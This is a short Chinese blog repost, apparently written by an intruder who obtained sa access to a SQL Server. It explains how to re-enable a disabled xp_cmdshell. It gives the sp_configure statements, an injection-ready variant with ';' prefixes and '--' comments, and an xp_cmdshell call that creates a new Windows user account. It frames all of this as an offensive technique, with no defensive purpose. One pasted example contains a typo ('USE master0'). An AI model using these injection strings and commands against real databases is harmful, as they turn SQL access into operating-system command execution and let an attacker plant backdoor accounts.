• [转]xp_cmdshell被阻止时如何开启的方法..


    作者:心动吧明生KISS

    今天拿了一个shell。。打开看的时候是sa用户..然后就出现了这一个文章。是关于当遇到

    错误: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

    这样的问题时如何对其进行处理...

    一开始我以为使用下例的方法就可以成功。。结果还是不行..

    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    -----------------------------------------------------------------

    然后在网上翻查了一下,得到了以下的方法,解决掉

    EXEC sp_configure 'show advanced options', 1 --
    RECONFIGURE WITH OVERRIDE --
    EXEC sp_configure 'xp_cmdshell', 1 --
    RECONFIGURE WITH OVERRIDE --
    EXEC sp_configure 'show advanced options', 0 --

    注入:

    ;EXEC sp_configure 'show advanced options', 1 --
    ;RECONFIGURE WITH OVERRIDE --
    ;EXEC sp_configure 'xp_cmdshell', 1 --
    ;RECONFIGURE WITH OVERRIDE --
    ;EXEC sp_configure 'show advanced options', 0 --

    B. 更改配置选项

    下面的示例将系统恢复间歇设为 3 分钟。

    USE master0
    EXEC sp_configure 'recovery interval', '3'
    RECONFIGURE WITH OVERRIDE

    -----------------------------------------------------------------------------------

    二条语句执行后,结果可以对其执行cmd命令,原来是不可以的

    exec master..xp_cmdshell "net user name password /add"--

    这是一个手记。。看不懂的加群问。。

    详细解说看这里:http://www.fuckhacker.net/?action=show&id=137

  • 相关阅读:
    linux设备驱动编写_tasklet机制(转)
    Class create, device create, device create file (转)
    android MTK驱动背光唤醒流程
    sysfs接口函数的建立_DEVICE_ATTR(转)
    Android图形显示之硬件抽象层Gralloc(hal 转)
    misc设备
    Android 呼吸灯流程分析
    Linux输入子系统(转)
    Oracle与MySQL的比较[内容来自网络]
    Oracle数据库分区相干知识点
  • 原文地址:https://www.cnblogs.com/huige1004/p/1394745.html
Copyright © 2020-2023  润新知